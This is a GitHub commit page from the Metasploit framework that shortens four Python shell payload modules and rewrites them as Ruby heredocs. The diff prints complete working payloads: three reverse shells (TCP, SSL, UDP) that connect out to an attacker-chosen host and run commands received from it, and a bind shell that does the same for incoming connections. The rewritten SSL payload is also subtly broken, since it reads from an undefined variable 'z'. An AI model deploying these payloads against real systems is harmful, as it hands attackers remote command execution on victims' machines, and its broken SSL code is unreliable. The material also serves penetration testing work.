Skip to content

Commit

Permalink
python code golf and convert to squiggly heredoc
Browse files Browse the repository at this point in the history
  • Loading branch information
timwr committed Nov 6, 2020
1 parent 856239f commit 26d2683
Show file tree
Hide file tree
Showing 4 changed files with 60 additions and 62 deletions.
32 changes: 16 additions & 16 deletions modules/payloads/singles/python/shell_bind_tcp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@

module MetasploitModule

CachedSize = 557
CachedSize = 481

include Msf::Payload::Single
include Msf::Payload::Python
Expand Down Expand Up @@ -35,21 +35,21 @@ def generate
end

def command_string
cmd = ''
dead = Rex::Text.rand_text_alpha(3)
# Set up the socket
cmd << "import socket as s\n"
cmd << "import subprocess as r\n"
cmd << "so=s.socket(s.AF_INET,s.SOCK_STREAM)\n"
cmd << "so.bind(('#{datastore['RHOST']}',#{ datastore['LPORT']}))\n"
cmd << "so.listen(1)\n"
cmd << "so,addr=so.accept()\n"
cmd << "#{dead}=False\n"
cmd << "while not #{dead}:\n"
cmd << "\tdata=so.recv(1024)\n"
cmd << "\tp=r.Popen(data, shell=True, stdin=r.PIPE, stdout=r.PIPE, stderr=r.PIPE)\n"
cmd << "\tstdout_value=p.stdout.read()+p.stderr.read()\n"
cmd << "\tso.send(stdout_value)\n"
cmd = <<~PYTHON
import socket as s
import subprocess as r
so=s.socket(s.AF_INET,s.SOCK_STREAM)
so.bind(('#{datastore['RHOST']}',#{ datastore['LPORT']}))
so.listen(1)
so,addr=so.accept()
while True:
d=so.recv(1024)
if len(d)==0:
break
p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
o=p.stdout.read()+p.stderr.read()
so.send(o)
PYTHON

py_create_exec_stub(cmd)
end
Expand Down
29 changes: 14 additions & 15 deletions modules/payloads/singles/python/shell_reverse_tcp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@

module MetasploitModule

CachedSize = 573
CachedSize = 461

include Msf::Payload::Single
include Msf::Payload::Python
Expand Down Expand Up @@ -45,20 +45,19 @@ def generate
# Returns the command string to use for execution
#
def command_string
cmd = ''
dead = Rex::Text.rand_text_alpha(3)
# Set up the socket
cmd << "import socket,subprocess\n"
cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n"
# The actual IO
cmd << "#{dead}=False\n"
cmd << "while not #{dead}:\n"
cmd << "\tdata=so.recv(1024)\n"
cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n"
cmd << "\tp=subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
cmd << "\tstdout_value=p.stdout.read()+p.stderr.read()\n"
cmd << "\tso.send(stdout_value)\n"
cmd = <<~PYTHON
import socket as s
import subprocess as r
so=s.socket(s.AF_INET,s.SOCK_STREAM)
so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
while True:
d=so.recv(1024)
if len(d)==0:
break
p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
o=p.stdout.read()+p.stderr.read()
so.send(o)
PYTHON

py_create_exec_stub(cmd)
end
Expand Down
32 changes: 16 additions & 16 deletions modules/payloads/singles/python/shell_reverse_tcp_ssl.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@

module MetasploitModule

CachedSize = 621
CachedSize = 509

include Msf::Payload::Single
include Msf::Payload::Python
Expand Down Expand Up @@ -45,21 +45,21 @@ def generate
# Returns the command string to use for execution
#
def command_string
cmd = ''
dead = Rex::Text.rand_text_alpha(2)
# Set up the socket
cmd += "import socket,subprocess,os,ssl\n"
cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
cmd += "s=ssl.wrap_socket(so)\n"
# The actual IO
cmd += "#{dead}=False\n"
cmd += "while not #{dead}:\n"
cmd += "\tdata=s.recv(1024)\n"
cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
cmd += "\ts.sendall(stdout_value)\n"
cmd = <<~PYTHON
import socket as s
import subprocess as r
import ssl
so=s.socket(s.AF_INET,s.SOCK_STREAM)
so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
so=ssl.wrap_socket(so)
while True:
d=z.recv(1024)
if len(d)==0:
break
p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
o=p.stdout.read()+p.stderr.read()
so.sendall(o)
PYTHON

py_create_exec_stub(cmd)
end
Expand Down
29 changes: 14 additions & 15 deletions modules/payloads/singles/python/shell_reverse_udp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@

module MetasploitModule

CachedSize = 573
CachedSize = 461

include Msf::Payload::Single
include Msf::Payload::Python
Expand Down Expand Up @@ -45,20 +45,19 @@ def generate
# Returns the command string to use for execution
#
def command_string
cmd = ''
dead = Rex::Text.rand_text_alpha(3)
# Set up the socket
cmd << "import socket,subprocess\n"
cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n"
cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n"
# The actual IO
cmd << "#{dead}=False\n"
cmd << "while not #{dead}:\n"
cmd << "\tdata=so.recv(1024)\n"
cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n"
cmd << "\tp=subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
cmd << "\tstdout_value=p.stdout.read()+p.stderr.read()\n"
cmd << "\tso.send(stdout_value)\n"
cmd = <<~PYTHON
import socket as s
import subprocess as r
so=s.socket(s.AF_INET,s.SOCK_DGRAM)
so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
while True:
d=so.recv(1024)
if len(d)==0:
break
p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
o=p.stdout.read()+p.stderr.read()
so.send(o)
PYTHON

py_create_exec_stub(cmd)
end
Expand Down

0 comments on commit 26d2683

Please sign in to comment.